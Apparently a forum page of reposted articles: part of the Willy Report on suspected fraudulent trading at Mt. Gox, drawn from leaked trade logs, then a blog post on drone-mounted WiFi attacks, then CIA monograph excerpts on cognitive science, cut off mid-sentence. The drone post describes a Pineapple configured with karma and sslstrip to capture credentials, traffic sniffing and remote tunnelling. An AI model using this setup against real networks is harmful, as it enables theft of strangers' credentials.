BTC: 11.46523059 Fiat: 13913.0 30-11-2013 12:30 - UID: 832432 Type: buy Currency: USD BTC: 19.89610521 Fiat: 24187.39 And a compilation of when each account was active, how much BTC they bought, and how much USD they spent, with some totals at the bottom: User_ID: 807884 User: a6e1c702-e6b2-4585-bdaf-d1f00e6e7db2 Start: 27-9-2013 13:41 End: 1-10-2013 0:30 BTC bought: 17650.499699839987 USD spent: 2500000.0 User_ID: 658152 User: c1ac7aeb-ac34-49cd-8363-c4bcb36a2b9f Start: 10-10-2013 0:49 End: 15-10-2013 1:53 BTC bought: 17348.26542219 USD spent: 2500000.0 User_ID: 659582 User: b337d02a-ccd5-4323-933d-35e59d228825 Start: 16-10-2013 1:45 End: 18-10-2013 11:14 BTC bought: 15695.016063759997 USD spent: 2500000.0 User_ID: 661608 User: 8bb6ff26-6075-42d3-86d5-57479005393f Start: 18-10-2013 11:19 End: 22-10-2013 9:06 BTC bought: 14137.102515370016 USD spent: 2500000.0 User_ID: 665654 User: cd028348-2fab-4d27-918e-7bdb1b5c0f87 Start: 22-10-2013 22:41 End: 24-10-2013 14:24 BTC bought: 11785.470819779992 USD spent: 2500000.0 User_ID: 683148 User: ec41774a-40f3-4137-ad10-485f5a908713 Start: 31-10-2013 14:44 End: 3-11-2013 19:18 BTC bought: 2338.136038199999 USD spent: 500000.0 User_ID: 689932 User: 5b9a963d-5464-4e51-8cc9-5111a720438e Start: 3-11-2013 21:47 End: 5-11-2013 7:48 BTC bought: 4295.211475280002 USD spent: 1000000.0 ... User_ID: 825654 User: f9fc16dd-3010-4104-8c71-077596189e38 Start: 29-11-2013 13:45 End: 30-11-2013 4:18 BTC bought: 2090.5948831200003 USD spent: 2500000.0 User_ID: 832432 User: 26d62882-06c0-4e0e-a79d-3ea8592f490b Start: 30-11-2013 7:25 End: 30-11-2013 12:30 BTC bought: 638.5403779799999 USD spent: 770744.48 Total BTC bought: 268132.73433409 Total USD spent: $111,770,744.48 So basically, each time, (1) an account was created, (2) the account spent some very exact amount of USD to market-buy coins ($2,500,000 was most common), (3) a new account was created very shortly after. Repeat. In total, a staggering ~$112 million was spent to buy close to 270,000 BTC – the bulk of which was bought in November. So if you were wondering how Bitcoin suddenly appreciated in value by a factor of 10 within the span of one month, well, this is why. Not Chinese investors, not the Silkroad bust – these events may have contributed, but they certainly were not the main reason. But more on that later. At this point, I noticed that the first Willy account (created on September 27th) unlike all the others had some crazy high user ID: 807884, even though regular accounts at that point only went up to 650000 or so. So I went looking for other unusually high user IDs within that month, and lo and behold, there was another time-traveller account with an ID of 698630 – and this account, after being active for close to 8 months, became completely inactive just 7 hours before the first Willy account became active! So it is a reasonable assumption that these accounts were controlled by the same entity. Account 698630 actually had a registered country and state: “JP”, “40? – the FIPS code for Tokyo, Japan. So I went and compiled all trades for this account. For convenience, I will dub this user “Markus”. Its trades are as follows: 14-2-2013 3:37 - UID: 698630 Type: buy Currency: USD BTC: 2500.00000006 Fiat: 6600.01 14-2-2013 3:37 - UID: 698630 Type: buy Currency: USD BTC: 2500.00000003 Fiat: 258373.84 14-2-2013 3:39 - UID: 698630 Type: buy Currency: USD BTC: 500.0 Fiat: 187.76 14-2-2013 3:42 - UID: 698630 Type: buy Currency: USD BTC: 500.00000003 Fiat: 16.06 14-2-2013 3:53 - UID: 698630 Type: buy Currency: USD BTC: 500.0 Fiat: 2279.47 ... 27-9-2013 4:16 - UID: 698630 Type: buy Currency: USD BTC: 113.51156404 Fiat: 7339.57 27-9-2013 4:37 - UID: 698630 Type: buy Currency: USD BTC: 23.27049209 Fiat: 708.08 27-9-2013 5:32 - UID: 698630 Type: buy Currency: USD BTC: 104.28667388 Fiat: 5482.4 27-9-2013 6:14 - UID: 698630 Type: buy Currency: EUR BTC: 1.0 Fiat: 100.46 27-9-2013 6:14 - UID: 698630 Type: buy Currency: EUR BTC: 10.0 Fiat: 1005.0 27-9-2013 6:14 - UID: 698630 Type: buy Currency: EUR BTC: 10.0 Fiat: 1005.0 27-9-2013 6:14 - UID: 698630 Type: sell Currency: USD BTC: 5.0 Fiat: 685.25 27-9-2013 6:15 - UID: 698630 Type: sell Currency: USD BTC: 0.5 Fiat: 68.53 27-9-2013 6:15 - UID: 698630 Type: sell Currency: USD BTC: 2.0 Fiat: 274.1 27-9-2013 6:15 - UID: 698630 Type: sell Currency: USD BTC: 1.0 Fiat: 137.05 27-9-2013 6:15 - UID: 698630 Type: buy Currency: USD BTC: 5.0 Fiat: 689.74 27-9-2013 6:16 - UID: 698630 Type: buy Currency: USD BTC: 3.44197225 Fiat: 475.2 There were several peculiar things about Markus. First, its fees paid were always 0. Second, its fiat spent when buying coins was all over the place, with seemingly completely random prices paid per bitcoin. For reference, Markus is the “Glitch in the System” user in this excellent Gox DB visualization (on that note, all of the Willy accounts are the “Greater Fools” with just big green blotches around Oct-Nov). Upon further inspection of the log, it became clear what was the cause of these seemingly random values: In this table, the first two trades (buy/sell pairs) are by some regular user with ID 238168. In the second trade, this user buys 0.398 BTC for $15.13. The next trade is some large market buy by Markus (ID 698630): note how the “$15.13? value from the previous trade seems to “stick”; regardless of the volume of BTC bought, the value paid is always $15.13. This is speculation, but perhaps for Markus, the “Money” spent field is in fact empty, and the program that generates the trading logs simply takes whatever value was already there before. In other words, Markus is somehow buying tons of BTC without spending a dime. Interestingly, Markus also sells every now and then, and for some reason the price values are correct this case. His biggest sell occurred on June 2nd. I’ve analyzed these trades separately here: 2-6-2013 8:22 - UID: 698630 Type: sell Currency: USD BTC: 1998.98799992 Fiat: 254788.4 2-6-2013 8:23 - UID: 698630 Type: sell Currency: USD BTC: 999.99999997 Fiat: 127026.48 2-6-2013 8:23 - UID: 698630 Type: sell Currency: USD BTC: 1000.0 Fiat: 127002.4 2-6-2013 8:24 - UID: 698630 Type: sell Currency: USD BTC: 1000.0 Fiat: 127018.51 2-6-2013 8:24 - UID: 698630 Type: sell Currency: USD BTC: 1000.0 Fiat: 127001.35 2-6-2013 8:24 - UID: 698630 Type: sell Currency: USD BTC: 1000.00000005 Fiat: 127004.44 ... 2-6-2013 9:46 - UID: 698630 Type: buy Currency: USD BTC: 11.0 Fiat: 170.94 2-6-2013 9:46 - UID: 698630 Type: buy Currency: USD BTC: 0.02492337 Fiat: 85.47 2-6-2013 9:46 - UID: 698630 Type: buy Currency: USD BTC: 2.01257589 Fiat: 170.94 2-6-2013 9:46 - UID: 698630 Type: buy Currency: USD BTC: 4.0 Fiat: 97.81 2-6-2013 9:47 - UID: 698630 Type: buy Currency: USD BTC: 300.41544653 Fiat: 293.43 2-6-2013 9:47 - UID: 698630 Type: buy Currency: USD BTC: 14.99143981 Fiat: 2145.37 2-6-2013 9:47 - UID: 698630 Type: buy Currency: USD BTC: 50.02492337 Fiat: 277.66 2-6-2013 9:47 - UID: 698630 Type: buy Currency: USD BTC: 453.70848748 Fiat: 31294.09 2-6-2013 9:47 - UID: 698630 Type: buy Currency: USD BTC: 113.56988903 Fiat: 20.54 2-6-2013 9:47 - UID: 698630 Type: buy Currency: USD BTC: 0.0747685 Fiat: 2.93 Totals: Start: 2-6-2013 8:22 End: 2-6-2013 9:47 User_ID: 698630 User: b2853e3c-3ec0-4fa5-8231-d21e2fd13330 BTC bought: 14770.555715840008 USD spent: $??.?? BTC sold: 31579.33902558999 USD received: $3,813,128.10 Net BTC sold: 16808.783309749982 Net USD received: $3,813,128.10 - $??.?? Sell 31k BTC, receive $4 million, re-buy 15k BTC, spend nothing. Awesome! Here is the corresponding chart for this day, just to show that these trades (from 8:00 to 10:00 am) actually occurred “on-market”, and had a significant effect on the price. Some totals compiled for Markus: Start: 14-2-2013 3:37 End: 27-9-2013 6:16 User_ID: 698630 User: b2853e3c-3ec0-4fa5-8231-d21e2fd13330 BTC bought: 335203.83080579044 USD spent: $??.?? JPY spent: 0.0 EUR spent: €2110.46 BTC sold: 37575.39028677996 USD received: $4,018,376.87 JPY received: ¥2,744,463.91 EUR received: 0.0 Net BTC bought: 297628.4405190105 Net USD spent: $??.?? - $4,018,376.87 Another net ~300,000 BTC bought. Combined with Willy’s buys, that’s around 570,000 BTC in total. Although there are no trading logs after November, Willy was observed by multiple traders to be active for the most part of December until the end of January as well. Although this was at a slower, more consistent pace (around 2000 BTC per day), it should roughly add up to another 80,000 BTC or so bought. So that’s a total that’s suspiciously close to the supposedly lost ~650,000 BTC. So… hacker, or inside job? At this point, I guess the straightforward conclusion would be that this is how the coins were stolen: a hacker gained access to the system or database, was able to assign himself accounts with any amount of USD at will, and just started buying and withdrawing away. This is in line with what GoxDox.org reported last month (they leaked the Sunlot court filing, so clearly they have some inside info). After all, the constant creation of new Willy accounts seems almost intended to avoid detection. Unverified BTC withdrawals may have been possible until late 2013 (I could not find any exact data on this), or perhaps the “??” location values in the database (unlike the usual empty or “!!” values for unverified users) were able to fool the system into thinking this user was verified. However, there are a lot of things that don’t add up with this theory; in fact there is a ton of evidence to suggest that all of these accounts were controlled by Mt. Gox themselves. First, the obvious: Markus has Tokyo, Japan as its registered location. But any hacker could edit a DB entry to try and frame someone (or even be located in Tokyo, however unlikely). However, none of the Willy accounts until November appear in the leaked balance summary at the time of collapse, and there seem to be no corresponding withdrawals for those amounts of bitcoin bought. Markus does have a balance: around 20 BTC and small amounts of EUR, JPY and PLN. No USD balance. In other words, only currencies for which Mt. Gox actively controlled bank accounts. The next piece of evidence is perhaps more convincing. For some months in 2013, there were two versions of trading logs in the leaked database: a full log, and an anonymized log with user hashes and country/state codes removed. For April 2013, there was a .zip file which contained one such anonymized log – this is speculation, but one use of this may have been to send off to auditors/investors to show some internals. Upon closer inspection, it turns out the full and anonymized versions of all the logs differ in two, and ONLY two ways: User hashes and country/state codes are removed. Markus’ out-of-place user ID (698630) is changed to a small number (634), and its strange fixed “Money” values are corrected to the expected values. Interesting detail: from the 2011 leaked account list, the user with ID 634 has username “MagicalTux”. Compare these two tables: The “fixed” file has an earlier creation date than the full log, so it could not have been a reporting bug that was fixed later. Everything points to these values having been manually edited, presumably to erase traces of suspicious activity. Although another possibility is that it is actually the other way around – the correct log with earlier creation date was the original, and all other logs have been altered to a different ID not traceable to MagicalTux to cover up fraud in a very lazy way (by setting all Money spent to whatever was the last trade), and someone forgot there was still a zip file lying around with the unaltered data. Another thing: Willy seemed to be immune to network downtime. The latest four trades displayed in the bottom-right corner showcase Willy’s typical trading activity observed from December onwards: a 10-20 BTC buy every 5-10 minutes. At a time no one else was able to trade, be it via API or otherwise, Willy was somehow able to continue as if nothing ever happened. This makes it likely the bot was being run from a local Mt. Gox server. It is not impossible that a hacker was able to install some kind of rootkit on Mt. Gox’s servers and ran the bot from there, but that seems extremely unlikely. Before Markus Of course, I was curious to see if the April 2013 bubble was just as fake as the November 2013 bubble was (as should be evident from the above data, and the more detailed price analysis below). Although I could find no clear single buy bot active during the February-April run up (Markus bought a significant amount of coins, but not enough to sustain the prolonged rally), there was still tons of suspicious activity in the log. When browsing through the trading data sorted by user ID, I noticed a huge number of active “Japan” users with very low user IDs (<1000). None were paying fees. Odd to say the least, so I investigated further. Turns out a lot of these trades followed a very distinct pattern, and were unlikely to have been executed by their original account holders, but rather these accounts were “hijacked” in some way. The image below shows an example of this pattern: First, a user with ID 179200 (highlighted; it is always this user as far as I can tell) buys some very exact amount of JPY worth of BTC (in this case JPY 24000) from regular users. Immediately after, a mysterious low-ID JP user also buys up some exact amount of JPY worth of BTC (always several times more than what user 179200 bought). This happens over and over again, for different low-ID users. But here’s the interesting thing: the user _hashes_ for these low ID JP users do not add up with the user hashes of the original account holders. Look at this: The data is sorted by user ID. Highlighted is the likely original, legit user making a legit trade. The hash is different from the fraudulent user (who has “JP” as region and does not pay fees). This rules out that these were inactive accounts being liquidated (the Mt. Gox terms of service stated they had the right to close accounts inactive for longer than 6 months). And as I said, these were not isolated cases. The first incidence seems to have been on August 9th, 2012, 08:54:58 GMT. These users were especially actively buying until April 2013, probably tens if not hundreds of thousands of coins (I haven’t analyzed that far) although sometimes selling (for JPY) as well. From May 2013 they became less active (to the point of insignificance for price movement), buying smaller amounts until July or so, when they start selling more than buying. The activity continues until the end of the data (November 2013). Interestingly, there was a post by MagicalTux on bitcointalk.org about him finding and fixing a bug, at a point in time about five hours after the first incidence of this phenomenon. And as it happens, most of these “hijacker” user hashes appear in the final balances file; all have only some very small JPY balance. So they at least satisfy the first two conditions for triggering the bug explained in that post. There is a possibility that the bug was not fully fixed and that this activity was an exploit of it. After Willy – Speculation Since there are no logs past November 2013, the following arguments are largely based on personal speculation, and that of other traders, with less hard evidence attached to them. Take them however you will. I’m sure a lot of this will be proven wrong, but hopefully it will give some insight into what transpired in Mt. Gox’s final days. Based on my own personal observations, Willy continued to be active until January 26th: buying up 10-20 BTC every 5-10 minutes, for around 100 BTC per hour. It was not active all the time, but the majority of it. January was when things truly went awry for Mt. Gox; more and more withdrawals were getting stuck, and faced with information that JPY withdrawals (which had been instant until that point) were also getting unreasonably delayed, people began panic-buying their way out of Gox. Combined with Willy still being active, this caused the spread between Gox and other exchanges to get completely out of hand. At the pinnacle of it, on January 26th, Willy suddenly became inactive – and with it, the price retraced back to a more reasonable spread with the other exchanges. Shortly after – on February 3rd to be precise – it seemed as if Willy had begun to run in reverse, although with a slightly altered pattern: it seemed to sell around 100 BTC every two hours. The hourly chart shows this quite well; there was almost no other trading volume for two days straight, so we saw a very straight declining slope on the chart. It didn’t take long for reverse-Willy to increase its pace. More than likely, the entire dump down to double digits was the handy work of this dumping bot. Peter R, another trader, came to the same conclusion independently from me in his excellent analysis that may just be very close to the truth. It would be one explanation for why none of the Willy accounts had a final balance despite all of their buying and no trace of BTC withdrawals: they were all dumped back on the market. The volume numbers seem to roughly match up. Where did the fiat go then? Into Mt. Gox’s reported fiat assets, possibly. You may remember they all but halted JPY withdrawals in early January, yet somehow cleared ALL pending JPY withdrawals the day they shut down in late February. This proves their original reason for the delays (currency conversion issues) were BS; they simply had no fiat left. Yet somehow they had enough fiat for withdrawals the day they shut down, which was after the dumping already started. But, again, speculation. There’s some additional evidence on the chart that a dump bot may have been at play. At several points in time, starting from Feb. 18th, it seemed that some bot was programmed to sell down to various fixed price levels. The most obvious cases are shown in these images. From Feb. 18th (top) and from Feb. 19th (bottom): every time someone put a bid at or above USD $248.15 and $261.2239, respectively, it would get dumped into at most a few minutes later (see e.g. this post from someone who noticed the same thing). These seem like random price-points at first, but at that point in time, $248.15 corresponded to exactly JPY 26000, and $261.2239 corresponded to exactly EUR 195. But here’s the kicker: NONE of the sell dumps were performed in their respective currency pairs; ALL were in USD. It suggests that whoever was selling (1) had some way to convert USD to JPY/EUR in a frictionless way, and/or (2) needed these currencies to be at a fixed price for some reason. After reading this log about possible insider trading from anarchystar, who is closely involved in the Mt. Gox legal proceedings, (2) may in fact have been the purpose: perhaps Mt. Gox was offering a fixed buy-in price for JPY or EUR-based investors. In either case, only Mt. Gox executing these sell trades makes sense. Furthermore, in an IRC log where someone was impersonating MagicalTux by hijacking his nick, Charlie Shrem asks if he needs some liquidity. This was at a time withdrawals were already halted. Clearly, Mt. Gox was accepting fiat injections – it seems reasonable to assume this liquidity came in the form of cheap BTC being bought. Additional factoid: a month or two ago, someone put up a site that aggregated the data from the leaked DB and allowed one to traverse the data easily, with rankings for best and worst traders, etc. One page of it is archived here. It had the (undoubtedly ironically intended) domain name “mark-karpeles.com”. It seems the site was fairly quickly removed, and “mark-karpeles.com” now redirects directly to the official mtgox.com. Barring an unlikely sudden change of heart by the creator from trying to expose fraud at Mt. Gox to supporting it, somebody may have threatened legal action or paid big bucks to get it under their control. In other words, someone was pretty desperate to prevent the data from becoming public. The Effect on the Bitcoin Price So how did all of this trading activity affect the price of Bitcoin as a whole? The answer is, unfortunately, enormously. I will be placing some historical charts from bitcoincharts.com along the Markus and Willy trade data where buying was most aggressive, which is basically from 15:14, July 28th, 2013 until the end of November. You can double-check exactly when and how many coins were bought using the logs near the top of this report, and/or match them against historical trading data from Mt. Gox’s public API. All of these trades actually occurred. The huge volume spike on July 28 15:14 is where the big buying starts. 15,000 coins get bought in the span of 30 minutes. According to the trade data, buying continues until the 31st, 15:55. After a four day pause, there’s some small buying on August 5th, but it really picks up again on the 12th at 21:32. Buying continues on-and-off, with some large spikes especially on the 19th, 27th and the 30th, where ten of thousands of coins are bought. Basically, all the huge green volume spikes in the above chart are the handiwork of Markus, and Markus alone. Something for the TA people: Note the date, which is the moment we broke the post-April bubble downtrend. In September, a few thousand coins were bought on the 2nd and 3rd, and then nothing until a lot was bought on the 9th, then on the 11th through early 13th. In the period of inactivity, the price finally got the chance to correct from an overbought condition. Unsurprisingly, price rose again when Markus resumed buying, then started falling again when Markus stopped on the 13th. There was no activity from Markus until late 26th/early 27th, where Markus made his final buys before handing the baton over to Willy, who would in turn continue aggressive, but much more constant, buying until early October 1st. Again, the price reflected this activity perfectly. Then came October, with the Silkroad shutdown crash on the 2nd. Price was flat for a while – because Willy did not become active until 10-10-2013 0:49. Now, unlike Markus, Willy’s buying was a lot more spread out over time. Markus was active sporadically, buying thousands or tens of thousands of coins in bursts, whereas Willy was active almost constantly, (at first) buying anywhere from 1 to 50 BTC at ~5-10 minute intervals. But even Willy would sometimes have gaps of inactivity (usually a day or less). These show up nicely in the chart. Willy was not active for most of the 15th and not active for about 14 hours on the 22nd. Price goes flat in these intervals. On 24-10-2013 14:24, Willy becomes inactive for exactly a week, until 31-10-2013 14:44. As though perfectly timed, price crashes and growth stagnates. Finally, November. Willy continues buying at its ~1-50 BTC per ~5-10 minutes rate until 5-11-2013 7:48. From 5-11-2013 10:53, Willy ups the ante – ~10-100 BTC is now bought at ~5-10 minute intervals, with many bursts of hundreds or thousands of BTC being bought at once. This continues non-stop until 9-11-2013 16:51. Willy becomes inactive for two days. Price crashes as if on cue. From 11-11-2013 14:04, Willy is back at its original pace, with occasional 100-1000+ BTC buys, until 16-11-2013 13:31. Short Willy inactivity until 17-11-2013 2:57, with inevitable growth stagnation. Then relatively stable buying until 23-11-2013 8:35. A day of inactivity, cue price decline. Re-acivation on 24-11-2013 9:16. Cue price growth. The 100-1000+ BTC buy bursts finally end on 28-11-2013 15:10, where Willy enters its final stage that we all recognized (~10-20 BTC every ~5-10 minutes). The reduced activity causes growth stagnation. And we all know what happened next. In closing I want to make clear that this report is not intended to make accusations, but rather to show the facts that can be extracted from the information that is available to the public, and stipulate that there is more than plenty of evidence to suspect that what happened at Mt. Gox may have been an inside job. What I hope to achieve by releasing this analysis into the wild is for the public to learn the truth behind what happened at Mt. Gox, how it affected the Bitcoin price, and hopefully for the individuals responsible for the massive fraud that occurred at Mt. Gox to be put to justice. Although the evidence shown in this report is far from conclusive, it can hopefully spur a more rigorous investigation into Mt. Gox’s accounting data, both by the public (using the leaked data) and the authorities (forensic investigation on the actual data). It needs to be recognized that, whether intentional or not (though plausible ignorance only goes so far), Mt. Gox has effectively been abusing Bitcoin to operate a Ponzi scheme for at least a year. The November “bubble” well into the $1000?s – and possibly April’s as well – was driven by hundreds of millions of dollars of fake liquidity pumped into the market out of thin air (note that this is equivalent to “with depositors’ money”). It is only natural that the Bitcoin price would deflate for around 5 months since its December peak, since there was never enough fiat coming in to support these kind of prices in the first place. In the interest of full disclosure: I’ve known of everything I wrote in this report since basically a day after the database was leaked, well over 2 months ago. I’m sure there are at least some other people that knew about it – I mean, it’s there in plain sight, in publicly available data, so it surprises me that no one else has come out with it until now. I specifically waited for the Goxless, free market to finally break the ongoing downtrend on its own strength before releasing it. Barring similar shenanigans at other exchanges (looking at you China) I think this means we may be at a “fair” valuation now, and that this knowledge will not hurt the price all that much. That said, despite everyone’s expectations, it seems unlikely that there will be another huge “bubble”, seeing as they were never “real” in the first place. Hopefully, price can rise at a more controlled pace as more and more good news comes out; it will be much better for Bitcoin as a technology than the crazy volatility and outrageous valuations we’ve seen last year. Sursa: The Willy Report: proof of massive fraudulent trading activity at Mt. Gox, and how it has affected the price of Bitcoin | The Willy Report
  7. Project “AirCrack1? : Warflying May 24, 2014 17:37 | 8 Comments | Xavier If we can put the business and some fun together, so why the hesitation? For a while, I’m playing with flying toys. I already played with different models of RC helicopters and recently, I switched to another category: I bought a quadcopter. The idea to mix the technology of drones with WiFi audits popped up in my mind for a while. First of all, this is not something news. Darren from Hak5 had the same crazy idea before me (see the episode 1520). But there is a difference between watching a cool video and doing the same in real life. Thus, I decided to experiment the same! And if I could use it to perform WiFi assessments or pentest, it’s even more cool! My choice was the DJI Phantom FC40. Phantom’s are great quadcopters. Very easy to pilot using the built-in Naza-M V2 module and they are able to cary stuff! In most cases, drones cary a camera but pretty much any other type of goods can be carried (even pizza ;-). And which device is the best choice to play with WiFi networks? A Pineapple of course! I’ve a Mark5 (the latest generation) and trust me, it is uber cool… What else do you need? Some power Internet connectivity To connect to Internet, I’m using a USB 3G modem with a data-only SIM card. The Mark5 supports out of the box common 3G devices. To provide power, my initial idea was to use the drone battery but the risk to have electromagnetic issues between the drone and the Pineapple was too high. Thus, I choose to use a dedicated battery (and this won’t affect the drone autonomy!). First, I used a Pineapple Juice 1800 battery but I was afraid of the weight and volume. I decided to go to another type of battery: a LiPo 900. LiPo batteries are very common in the aeromodelling landscape and have an excellent ratio weight/size VS performance. This battery is enouh for flying arround and sniffing for some traffic. To connect the Lipo to the Pineapple, a simple cable to convert the LiPo connector to a “jack” connector is required. If the goal is to fly the drone to your target, land on a roof and spend more time overthere, i think that I’ll use the Pineapple juice model. To be investigated… The choice of the DJI Phantom “FC40” was very important. Why? This model operates at 5.8gHz for communication between itself and its remote controller. This frees up the classic 2.4gHz band used by the camera to communicate via WiFi with a smartphone (to provide the FPV or “First Person View“). The Pineapple uses the same band and will not interfere with the remote controller. The total weight to cary (Pineapple, USB Modem, LiPo battery and cables) is 225 grams. This is totally acceptable for a Phantom! Everything fits under the drone and is secured with Velcro bands. I was afraid of the gravity center but it fits perfectly! The following pictures show you the Phantom ready to fly: Another issue could be the sensitivity of the drone while flying. Two important things to keep in mind: By carying more stuff, you add weight and this may affects the pilot’s sensations (ask this to pilot of helicopters!) By carying electronic devices, you increase the risk of electromagnetic perturbations. A good example is antennas which are located along the landing legs (GPS & remote controller). The drone found its GPS position as usual and was able to fly safely, keeping its position thoughout the flight. I just had the feeling that the drone was a little bit slower to respond. Of course the autonomy is greatly reduced. How to keep an eye on the WiFi tools? The PineApple has built-in support for autossh. When it boots, it connects to Internet via the 3G modem and SSH to one of my servers and establish a remote tunnel with the “-R” flag. With this technique, I’m able to connect safely to the PineApple and follow the operations directly on my iPhone screen as seen on the following picture. It’s very difficult to keep an eye on the drone and on the screen at the same. I would recommend two persons to conduct the attack: the pilot and a “WiFi operator” (with a classic laptop for more conviviality) This was a successful experience! Data was captured without problem. My Pineapple config is the following: wlan0 : karma + sslstrip (to capture credentials) wlan1 : airodump (to capture traffic for later use) Of course, all the attacks that can be launched from a Pineapple can be done from the sky! Think about the WiFi jammer infusion ;-). What’s next?My plans are to script some kind of “flying scanner” which will detect and connect to open networks to perform a Nmap scan. Disclaimer: this is done for research purposes only and it’s better to have a “Get Out of Jail” card if you use this setup in pentests… Sursa: Project “AirCrack1? : Warflying | /dev/random
  8. Thinking & Writing : The CIA’s Guide to Cognitive Science & Intelligence Analysis This CIA Monograph (re-released in 2010 by Robert Sinclair) presents “the implications of growing knowledge in the cognitive sciences for the way the intelligence business is conducted – in how we perform analysis, how we present our findings, and even its meaning for our hiring and training practices ”. In other words, this paper is about, “thinking and writing [and] the complex mental patterns out of which writing comes, their strengths and limitations, and the challenges they create, not just for writers but for managers”. Below are some curated excerpts. P.S. Don’t confuse this paper with the popular CIA book, “Psychology of Intelligence Analysis” which I have linked to in the past. This paper draws upon similar cognitive research but has a different focus (mainly that of communicating clearly). Introduction Two quotations sum up what this essay is about: “Our insights into mental functioning are too often fashioned from observations of the sick and the handicapped. It is difficult to catch and record, let alone understand, the swift flight of a mind operating at its best.” “A writer in the act is a thinker on a full-time cognitive overload.” “In brief, I hope to describe some of the powerful metaphors about the workings of our minds that have developed over the past couple of decades.” “…although this essay talks a lot about writing, it is not designed to deal with the how-to-write issue. As the title indicates, its topic is thinking and writing the complex mental patterns out of which writing comes, their strengths and limitations, and the challenges they create, not just for writers but for managers.” “I would argue that the elements of cognitive science highlighted in the monograph are still the ones of first-order relevance for the DI. I do not think an intelligence analyst will gain much professionally from knowing how neurons fire or which parts of the brain participate in which mental operations. I do consider it essential, however, that we be aware of how our brains ration what they make available to our conscious minds as they cope with the fact that our “ability to deal with knowledge is hugely exceeded by the potential knowledge contained in man’s environment.” Not only do they select among outside stimuli, they also edit what they let us know about their own activities. This is the focus of the monograph.” “For every analyst and every reviewer in this serial process, the analysis starts from a body of analogies and heuristics that are unique to that individual and grow out of his or her past experience after images of ideas and events that resonate when we examine a current problem, practical rules of thumb that have proven useful over time.The power of this approach is incontestable, but we are all too easily blinded to its weaknesses. The evidence is clear: analysis is likely to improve when we look beyond what is going on in our own heads—when we use any of several techniques designed to make explicit the underlying structure of our argument and when we encourage others to challenge our analogies and heuristics with their own. Little about the current process fosters such activities, it seems to me; they would be almost unavoidable in a collaborative environment.” On Writing “If the very act of writing puts a writer any writer at all—into “full-time cognitive overload,” then perhaps we would benefit from a better understanding of what contributes to the overload.” “The novelist and poet Walker Percy offers a concept that may be even more fruitful. In a series of essays dealing with human communication, Percy asserts that a radical distinction must be made between what he calls “knowledge” and what he calls “news.” Percy’s notion takes on added significance in light of the findings of cognitive science (of which he seems largely unaware), and I will be discussing it at greater length in due course. For the present “I would simply assert that the nature of our work forces us to swing constantly back and forth be- tween knowledge and news, and I believe cognitive science has something to contribute to our under- standing of the problem. “ Why We Use Heuristics / Mental Shortcuts In Decision Making “What is it about heuristics that makes them so useful? First, they are quick and they get the job done, assuming the experiential base is sufficient and a certain amount of satisficing is not objectionable. Second, what cognitive scientists call the problem-space remains manageable. Theoretically that space becomes unmanageably large as soon as you start to generalize and explore: any event may be important now, any action on your part is possible, and you could get paralyzed by possibilities as the centipede did. But humans constantly narrow the problem-space on the basis of their own experience. And most of the time the results are acceptable: what more efficient way is there to narrow an indefinitely large problem-space? ” Limits To Using Heuristics / Mental Shortcuts In Decision Making “Heuristics are inherently conservative; they follow the tried-and-true method of building on what has already happened. When the approach is confronted with the oddball situation or when someone asks what is out there in the rest of the problem-space, heuristics begin to flounder. Yet we resist using other approaches, partly because we simply find them much less congenial, partly because the record allows plausible argument about their effectiveness when dealing with an indefinitely large set of possibilities.” “As most people use them, heuristics are imprecise and sloppy. Some of the reasons why cognitive activity is imprecise were noted earlier; another reason is the tendency to satisfice, which encourages us to go wherever experience dictates and stop when we have an adequate answer. With perseverance and sufficient information one can achieve considerable precision, but there is nothing in the heuristic approach itself that compels us to do so and little sign that humans have much of an urge to use it in this way. Most of the time, moreover, the information is not terribly good. We then may find ourselves trying to get more precision out of the process than it can provide.” “In everyday use, heuristics are not congenial to formal procedures such as logic, probability, and the scientific method. This fact helps explain why we rarely use logic rigorously, why we tend to be more interested in confirming than in disconfirming a hypothesis, and why we are so poor at assessing odds.” We Can’t Talk About Mental Shortcuts Without Talking About Memory & “Chunking” “It should be apparent the heuristic approach is critical to the effectiveness of our conscious mental activity, since short-term memory needs procedures like heuristics that narrow its field of view. On the other hand, the drawbacks are equally apparent. The ability to process large quantities of information is always an advantage and sometimes a necessity. How can we operate effectively if we can consider so little at a time? The answer to this question lies in the speed and flexibility with which we can manipulate the information in short-term memory; to use the terminology, in our chunking prowess.” Accessed via Robert Sinclair’s Overview of Cognitive Science & Intelligence (written for the CIA) A chunk, it should be clear, equates to one of the roughly seven entities that short-term memory can deal with at one time. Hunt’s formulation notwithstanding, it need not be tied to words or discrete symbols. Any conceptual entity—from a single letter to the notion of Kant’s categorical imperative- can be a chunk. And not only do we work with chunks that come to us from the outside world, we create and remember chunks of our own. Anything in long-term memory probably has been put there by the chunking process. We build hierarchies of chunks, combining a group of them under a single conceptual heading (a new chunk), “filing” the subordinate ideas in long-term memory, and using the overall heading to gain access to them. We can manipulate any chunk or bring wildly differing chunks together, and we can do these things with great speed and flexibility. “In some ways “chunk” is a misleading term for the phenomenon. The word calls to mind something discrete and hard-edged, whereas the very essence of the phenomenon is the way we can give it new shapes and new characteristics, and the way conceptual fragments interpenetrate each other in long-term memory. A chunk might better be conceived of, metaphorically, as a pointer to information in long-term memory, and the information it retrieves as a cloud with a dense core and ill-defined edges. The mind can store an enormous number of such clouds, each overlapping many others.This “cloudiness” the way any one concept evokes a series of others is a source of great efficiency in human communication; it is what lets us get the drift of a person’s remarks without having all the implications spelled out. But it can also be a source of confusion.” Heuristics/ Mental Shortcuts & “Chunking” Work Hand in Hand During Decision Making “Heuristics—non-random exploration that uses experience and inference to narrow the field of possibilities—loom large in the development of each individual and are deeply ingrained in all of us (particularly when we are doing some- thing we consider important). Combined with the chunking speed of short-term memory, the heuristic approach is a powerful way to deal with large amounts of information and a poorly defined problem space.“ “But there is always a tradeoff between range and precision. The more of the problem space you try to explore—and the “space,” being conceptual rather than truly spatial, can have any number of dimensions—the harder it is to achieve a useful degree of specificity. Talent and experience can often reduce the conflict between the need for range and the need for precision, but they cannot eliminate it. We almost always end up satisficing.” “We are compulsive, in our need to chunk, to put information into a context. The context we start with heavily conditions the way we receive a new piece of information. We chunk so rapidly that “the problem,” whatever it is, often has been sharply delimited by the time we begin manipulating it in working memory.“ “Although the conceptual network formed through years of experience may make an individual a more skillful problem-solver, it can also make him or her less open to unusual ideas or information—a phenomenon sometimes termed “hardening of the categories.” The conservative bias of the heuristic approach—the tendency we all share of looking to past experience for guidance—makes it easy for an old hand to argue an anomaly out of the way. In fact the old hand is likely to be right nearly all the time; experience usually does work as a model. But what about the situation when “nearly all the time” isn’t good enough? Morton Hunt recounts an instance of a computer proving better than the staff 